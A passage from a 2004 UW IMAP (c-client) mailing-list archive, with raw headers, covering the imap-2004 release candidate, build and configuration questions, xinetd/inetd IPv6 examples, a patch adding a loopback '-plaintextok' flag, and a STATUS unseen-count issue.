ftp://ftp.cac.washington.edu/mail/imap-2004.RC.tar.Z There are quite a few changes in imap-2004 from imap-2002e. Following is a list of the externally-visible changes: IPv6 support now exists for UNIX and Windows, but is not the default. To build with IPv6 support, add "IP=6" to the make/nmake command line. Windows IPv6 support is only in W2K builds. A big "THANK YOU" to everybody who contributed IPv6 patches over the years. Although this is a completely different implementation than any of the contributions, it was heavily influenced by all of them.] The NNTP driver now supports NNTP SASL and TLS. The ldb (Debian) and lrh (RedHat) ports now look for mlock on /usr/sbin/mlock instead of /etc/mlock. imapd now supports the LITERAL+ and SASL-IR extensions. The IMAP driver has some additional checks to reduce the amount of network traffic, including executing "silly searches" (searches of sequence numbers only) locally. The IMAP, POP, SMTP, and NNTP drivers now have diagnostic code to provide better information about servers which violate SASL's empty challenge requirements (e.g. with the PLAIN mechanism). In addition, programmers who use the c-client library in their applications should note that many declarations which are completely internal to a driver have been removed from the driver .h file. In those cases where there are no external declarations left the .h file has been eliminated entirely. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jan 6 01:55:47 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 6 Jan 2004 01:55:47 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i069tlUF030024 for ; Tue, 6 Jan 2004 01:55:47 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i069tjlp027096 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 6 Jan 2004 01:55:46 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i069qfAk011002; Tue, 6 Jan 2004 01:52:41 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i069jvuL030318 for ; Tue, 6 Jan 2004 01:45:57 -0800 Received: from lilbuddy.antsclimbtree.com (lilbuddy.antsclimbtree.com [216.27.183.129]) by mxu4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i069jtSn018905 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 6 Jan 2004 01:45:56 -0800 Received: from antslaptop.antsclimbtree.com ([192.168.1.110]) by lilbuddy.antsclimbtree.com with asmtp (TLSv1:RC4-SHA:128) (Exim 4.24; FreeBSD) id 1AdnnX-000Fqd-AQ for c-client@u.washington.edu; Tue, 06 Jan 2004 01:46:51 -0800 Message-Id: <1C793F5C-402D-11D8-806A-000393C0ABC0@antsclimbtree.com> Date: Tue, 6 Jan 2004 01:45:50 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Edwards To: c-client@u.washington.edu Subject: restrictBox strangeness In-Reply-To: References: Mime-Version: 1.0 (Apple Message framework v609) Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -4.9 (----) X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='SIGNATURE_SHORT_DENSE 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm posting this one more time, since I got no responses last time. I recently recompiled with the restrictBox = -1 option set, in the interest of security. On OSX's Mail.app, this caused my previous prefix setting of mail/ to stop working. I had to switch it to mail (no slash). This probably indicates some bug or implementation error in OSX Mail.app, but I'm curious if anyone has encountered such a thing before. There doesn't seem to be any real problem once I remove the slash, and I haven't encountered another client that has this issue. Could it possibly be a problem with imapd, or the way I compiled imapd? Thanks! -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jan 6 08:06:46 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 6 Jan 2004 08:06:46 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i06G6jUF009658 for ; Tue, 6 Jan 2004 08:06:45 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i06G6i72012239 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 6 Jan 2004 08:06:44 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i06G5uop016272; Tue, 6 Jan 2004 08:05:56 -0800 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i06G4xuL025324 for ; Tue, 6 Jan 2004 08:04:59 -0800 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxu8.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i06G4wRg009029 for ; Tue, 6 Jan 2004 08:04:58 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout6.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i06G4slo001622; Tue, 6 Jan 2004 08:04:54 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i06G4sRc002640; Tue, 6 Jan 2004 08:04:54 -0800 Message-Id: Date: Tue, 6 Jan 2004 08:04:54 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mark Edwards Cc: c-client@u.washington.edu Subject: Re: restrictBox strangeness In-Reply-To: <1C793F5C-402D-11D8-806A-000393C0ABC0@antsclimbtree.com> References: <1C793F5C-402D-11D8-806A-000393C0ABC0@antsclimbtree.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 6 Jan 2004, Mark Edwards wrote: > I recently recompiled with the restrictBox = -1 option set, in the interest of > security. On OSX's Mail.app, this caused my previous prefix setting of mail/ > to stop working. I had to switch it to mail (no slash). It sounds like Mail.app appends the hierarchy delimiter to the prefix automatically, so you don't need to do it explicitly. restrictBox forbids "//" because on a (very) few platforms that translates into a root reference. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Jan 7 02:55:09 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 7 Jan 2004 02:55:09 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i07At9UF019738 for ; Wed, 7 Jan 2004 02:55:09 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i07At7lp004797 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 7 Jan 2004 02:55:08 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i07As6Fe004904; Wed, 7 Jan 2004 02:54:08 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i07AqTuL024224 for ; Wed, 7 Jan 2004 02:52:29 -0800 Received: from dk10.ementor.dk ([194.192.21.239]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i07AqQf0017714 for ; Wed, 7 Jan 2004 02:52:27 -0800 Received: from dk14.dk.ementor.dom (unverified) by dk10.ementor.dk (Content Technologies SMTPRS 4.3.6) with ESMTP id for ; Wed, 7 Jan 2004 11:53:59 +0100 Message-Id: Date: Wed, 7 Jan 2004 11:49:04 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jess Nielsen To: c-client@u.washington.edu Subject: nmake fails but why MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-MIMETrack: Serialize by Router on DK14/Ementor(Release 6.0.3|September 26, 2003) at 07-01-2004 11:49:05 AM, Serialize complete at 07-01-2004 11:49:05 AM X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='SIGNATURE_SHORT_DENSE 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have just downloaded the newest version which is available at the website, but somehow it fails when I'm trying to build it using nmake. I use: name -f makefile.w2k The error messages are: kerb_w2k.c(242) : error C2065: 'MICROSOFT_KERBEROS_NAME_A' : undeclared identifi er kerb_w2k.c(242) : warning C4047: 'function' : 'char *' differs in levels of indi rection from 'int ' kerb_w2k.c(242) : warning C4024: 'AcquireCredentialsHandleA' : different types f or formal and actual parameter 2 kerb_w2k.c(377) : error C2065: 'SEC_E_CERT_EXPIRED' : undeclared identifier kerb_w2k.c(377) : error C2051: case expression not constant kerb_w2k.c(502) : error C2065: 'SECBUFFER_PADDING' : undeclared identifier kerb_w2k.c(505) : error C2065: 'KERB_WRAP_NO_ENCRYPT' : undeclared identifier kerb_w2k.c(545) : error C2065: 'SECBUFFER_STREAM' : undeclared identifier auth_gss.c(170) : error C2051: case expression not constant ssl_w2k.c(23) : fatal error C1083: Cannot open include file: 'schannel.h': No su ch file or directory NMAKE : fatal error U1077: 'cl' : return code '0x2' Stop. NMAKE : fatal error U1077: '"C:\Program Files\Microsoft Visual Studio\VC98\bin\N MAKE.EXE"' : return code '0x2' Stop. Why does this come and what do I need to do avoid it? Thanks in regards, Jess -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jan 7 05:38:05 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 7 Jan 2004 05:38:05 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i07Dc5UF024943 for ; Wed, 7 Jan 2004 05:38:05 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i07Dc3lp008568 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 7 Jan 2004 05:38:04 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i07DbB1r016312; Wed, 7 Jan 2004 05:37:11 -0800 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i07DZSuL055336 for ; Wed, 7 Jan 2004 05:35:28 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i07DZRgN010852 for ; Wed, 7 Jan 2004 05:35:27 -0800 Received: from skutsje.san.webweaving.org (skutsje.san.webweaving.org [209.132.96.45]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i07DZP72016610 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 7 Jan 2004 05:35:26 -0800 Received: from skutsje.san.webweaving.org (localhost [127.0.0.1]) by skutsje.san.webweaving.org (8.12.9/8.12.9) with ESMTP id i07DVnEJ026853 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 7 Jan 2004 05:31:50 -0800 (PST) (envelope-from dirkx@webweaving.org) Received: from localhost (dirkx@localhost) by skutsje.san.webweaving.org (8.12.9/8.12.9/Submit) with ESMTP id i07DVnIn026848; Wed, 7 Jan 2004 05:31:49 -0800 (PST) (envelope-from dirkx@webweaving.org) Message-Id: <20040107053043.Q24629@skutsje.san.webweaving.org> Date: Wed, 7 Jan 2004 05:31:49 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dirk-Willem van Gulik To: Mark Crispin Cc: c-client Interest List Subject: Re: announcing: imap-2004 release candidate 1 In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: skutsje.san.webweaving.org: dirkx owned process doing -bs X-X-Sender: dirkx@skutsje.san.webweaving.org X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='X_AUTH_WARNING 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Here is a tiny little patch. See man page below. Under normal operations a connection needs to be either SSL encrypted to accept a plain text password, or one of the DIGEST methods must be used when communicating in the clear. Sometimes, e.g. when connecting from a local web interfaces, such as Squirrelmail, stunnel, or ssh, it may be of use to make an exception for connections in the clear over the loopback interface. In these cases add the argument -plaintextok when starting things from an inetd which is bound to the loopback interface. Dw diff -u -r imap-2004.RC1.orig/docs/RELNOTES imap-2004.RC1/docs/RELNOTES --- imap-2004.RC1.orig/docs/RELNOTES Mon Jan 5 22:42:07 2004 +++ imap-2004.RC1/docs/RELNOTES Wed Jan 7 14:33:34 2004 @@ -4,6 +4,11 @@ build with this version with minor modification. imap-2003 was not released except as development snapshots. +Added a '-plaintextok' argument to the imapd. Useful when running +it through an inetd connected to the loopback interface. This bypasses +the sensible default requiring passwords to be either over SSL or +in digest form when transmitted in the clear. (dirkx@webweaving.org). + IPv6 support now exists for UNIX and Windows, but is not the default. To build with IPv6 support, add "IP=6" to the make/nmake command line. Windows IPv6 support is only in W2K builds. diff -u -r imap-2004.RC1.orig/src/imapd/imapd.8c imap-2004.RC1/src/imapd/imapd.8c --- imap-2004.RC1.orig/src/imapd/imapd.8c Tue Jul 15 02:54:11 2003 +++ imap-2004.RC1/src/imapd/imapd.8c Wed Jan 7 14:30:55 2004 @@ -1,9 +1,11 @@ .TH IMAPD 8C "July 14, 2003" .UC 5 +.Nm imapd .SH NAME IMAPd \- Internet Message Access Protocol server .SH SYNOPSIS -.B /usr/etc/imapd +.B imapd +[ -plaintextok ] .SH DESCRIPTION .I imapd is a server which supports the @@ -19,6 +21,15 @@ file (see .IR services (5)). Normally, this is port 143. +.PP +Under normal operations a connection needs to be either SSL encrypted to +accept a plain text password, or one of the DIGEST methods must be used +when communicating in the clear. Sometimes, e.g. when connecting from +a local web interfaces, such as Squirrelmail, stunnel, or ssh, it may +be of use to make an exception for connections in the clear over the +loopback interface. In these cases add the argument +.B -plaintextok +when starting things from an inetd which is bound to the loopback interface. .PP This daemons contains CRAM-MD5 support. See the md5.txt documentation file for additional information. diff -u -r imap-2004.RC1.orig/src/imapd/imapd.c imap-2004.RC1/src/imapd/imapd.c --- imap-2004.RC1.orig/src/imapd/imapd.c Tue Dec 16 00:38:25 2003 +++ imap-2004.RC1/src/imapd/imapd.c Wed Jan 7 14:31:48 2004 @@ -269,6 +269,13 @@ mail_parameters (NIL,SET_MAILPROXYCOPY,(void *) proxycopy); /* arm referral callback */ mail_parameters (NIL,SET_IMAPREFERRAL,(void *) referral); + + /* XXXX 12/2003 - dirkx@webweaving.org / www.asemantics.com */ + if((argc>1)&&(strcmp(argv[argc-1],"-plaintextok")==0)) { + mail_parameters (NIL,SET_DISABLEPLAINTEXT,NIL); + argc --; + } + if (stat (SHUTDOWNFILE,&sbuf)) { s = myusername_full (&i); /* get user name and flags */ switch (i) { From pinedev@shivax2.cac.washington.edu Wed Jan 7 09:40:07 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 7 Jan 2004 09:40:07 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i07He7UF000575 for ; Wed, 7 Jan 2004 09:40:07 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i07He572023983 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 7 Jan 2004 09:40:05 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i07HKXFe012308; Wed, 7 Jan 2004 09:20:34 -0800 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i07HJFuL040426 for ; Wed, 7 Jan 2004 09:19:15 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i07HJEgN004277 for ; Wed, 7 Jan 2004 09:19:14 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout5.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i07HJAgr009367; Wed, 7 Jan 2004 09:19:11 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i07HJAWA028696; Wed, 7 Jan 2004 09:19:10 -0800 Message-Id: Date: Wed, 7 Jan 2004 09:19:10 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jess Nielsen Cc: c-client@u.washington.edu Subject: Re: nmake fails but why In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 7 Jan 2004, Jess Nielsen wrote: > I have just downloaded the newest version which is available at the > website, but somehow it fails when I'm trying to build it using nmake. You have to have the Microsoft Platform SDK installed, as described in the build documentation and the FAQ. VC by itself is not sufficient. The symbols that you have problems with are all in the Platform SDK. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Jan 7 20:25:42 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 7 Jan 2004 20:25:42 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i084PfUF031107 for ; Wed, 7 Jan 2004 20:25:41 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i084Pelp006090 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 7 Jan 2004 20:25:40 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i084OmAk016414; Wed, 7 Jan 2004 20:24:50 -0800 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i084NxuL046628 for ; Wed, 7 Jan 2004 20:23:59 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu8.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i084NwRg031578 for ; Wed, 7 Jan 2004 20:23:58 -0800 Received: from gau.lava.net (gau.lava.net [64.65.64.28]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i084Nv71013787; Wed, 7 Jan 2004 20:23:57 -0800 Received: from tempura.lava.net (tempura.lava.net [64.65.127.249]) by gau.lava.net (Postfix) with ESMTP id 1EA0E1725C; Wed, 7 Jan 2004 18:23:53 -1000 (HST) Message-Id: <20040107173457.W11542@tempura.lava.net> Date: Wed, 7 Jan 2004 18:23:52 -1000 (HST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Antonio Querubin To: Mark Crispin Cc: c-client Interest List Subject: Re: announcing: imap-2004 release candidate 1 In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 6 Jan 2004, Mark Crispin wrote: > imap-2004 (yes, it's now 2004) is nearing release status, and is > available on: > ftp://ftp.cac.washington.edu/mail/imap-2004.RC.tar.Z > > There are quite a few changes in imap-2004 from imap-2002e. Following is > a list of the externally-visible changes: > > IPv6 support now exists for UNIX and Windows, but is not the default. To > build with IPv6 support, add "IP=6" to the make/nmake command line. > Windows IPv6 support is only in W2K builds. A big "THANK YOU" to > everybody who contributed IPv6 patches over the years. Although this is a > completely different implementation than any of the contributions, it was > heavily influenced by all of them.] One thing you might consider adding to the docs are hints for setting up inetd or xinetd to simultaneously listen on BOTH IPv4 and IPv6 for different OS. Some OS want to see separate IPv4-only and IPv6-only listening sockets configured in inetd.conf or xinetd.conf. Others will accept IPv4 connections on lines configured for IPv6 and actually generate errors if you have both configured when inetd or xinetd start up. It's not clear to me whether this difference is due to how inetd or xinetd are built or whether it's due to the kernel's IP stack implementation. I suspect it's really the latter. Below are some examples: Here's a fragment of /usr/local/etc/xinetd.conf for a FreeBSD 4.9 server: service imap { socket_type = stream protocol = tcp wait = no user = root server = /usr/local/libexec/imapd } service imap { flags = IPv6 socket_type = stream protocol = tcp wait = no user = root server = /usr/local/libexec/imapd } service imaps { socket_type = stream protocol = tcp wait = no user = root server = /usr/local/libexec/imapd } service imaps { flags = IPv6 socket_type = stream protocol = tcp wait = no user = root server = /usr/local/libexec/imapd } Note that you have to specify a nearly identical paragraph for each service which differs only by the 'flags = IPv6'. An equivalent inetd.conf would look something like: imap stream tcp nowait root /usr/local/libexec/imapd imapd imap stream tcp6 nowait root /usr/local/libexec/imapd imapd imaps stream tcp nowait root /usr/local/libexec/imapd imapd imaps stream tcp6 nowait root /usr/local/libexec/imapd imapd The man pages for inetd suggest that if you use a single entry with 'tcp46' replacing either 'tcp' or 'tcp6' the system will listen on both types of addresses. At least for the case of FreeBSD this is actually incorrect. Now if you were to use the above xinetd.conf on Fedora Linux, it would complain. What does work under Linux is to create a single service paragraph for each service which will accept connections on both IPv4 and IPv6: In /etc/xinetd.d/imap: service imap { flags = IPv6 disable = no socket_type = stream wait = no user = root server = /usr/local/sbin/imapd } In /etc/xinetd.d/imaps: service imaps { flags = IPv6 disable = no socket_type = stream wait = no user = root server = /usr/local/sbin/imapd } The man page for xinetd says the IPv6 flag means xinetd will listen ONLY on IPv6. However the actual behaviour (for Fedora Linux) is to listen on both IPv4 and IPv6. All of the above also applies to ipop3d. Anyway, this might save some folks a little bit of head scratching time. From pinedev@shivax2.cac.washington.edu Sat Jan 10 10:27:19 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 10 Jan 2004 10:27:19 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0AIRJUF000350 for ; Sat, 10 Jan 2004 10:27:19 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0AIRHlp016676 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 10 Jan 2004 10:27:17 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i0AIQFop015822; Sat, 10 Jan 2004 10:26:16 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0AIOluL073574 for ; Sat, 10 Jan 2004 10:24:47 -0800 Received: from kala.atp.fi (atp.fi [193.229.202.204] (may be forged)) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0AIOi2Y024210 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 10 Jan 2004 10:24:45 -0800 Received: from atp.fi (eremite.atp.fi [194.100.4.133]) by kala.atp.fi (8.12.8/8.12.8) with ESMTP id i0AIOdVI031254 for ; Sat, 10 Jan 2004 20:24:39 +0200 Message-Id: <40004367.6030707@atp.fi> Date: Sat, 10 Jan 2004 20:24:39 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ere Maijala To: c-client@u.washington.edu Subject: IMAP STATUS unseen and deleted MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-atp.fi-MailScanner-Information: Please contact administration for more information X-atp.fi-MailScanner: Found to be clean X-atp.fi-MailScanner-SpamCheck: not spam, SpamAssassin (score=0, required 6.29) X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='MAY_BE_FORGED 0.000, X_ACCEPT_LANG 0, SIGNATURE_SHORT_DENSE 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I'm a Mozilla (http://www.mozilla.org/) developer. Quite recently the Mozilla Mail IMAP client was changed to use STATUS when checking for new mail. After the change I started seeing spurious new mail notifications for some folders. While debugging the problem I logged the conversation between the client and the server and noticed that the IMAP server was counting deleted unseen messages as unseen in the status response. Although the messages are technically unseen, I don't find it practical to report them as such as the clients might not show those messages at all (they're just sitting the waiting for expunge). In this case Mozilla showed that there were some unread messages, but when the folder was opened the number was re-adjusted to zero. I believe I've seen the problem with Outlook Express too. Here is a patch against imap-2002d. It works for me, but I've only changed unix version of the osdep files. Any comments? Regards, Ere Maijala -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Jan 10 11:30:20 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 10 Jan 2004 11:30:20 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0AJUKUF002004 for ; Sat, 10 Jan 2004 11:30:20 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0AJUIlp018005 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 10 Jan 2004 11:30:19 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i0AJTJ1r014936; Sat, 10 Jan 2004 11:29:20 -0800 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0AJRtuL038358 for ; Sat, 10 Jan 2004 11:27:55 -0800 Received: from mxout1.cac.washington.edu 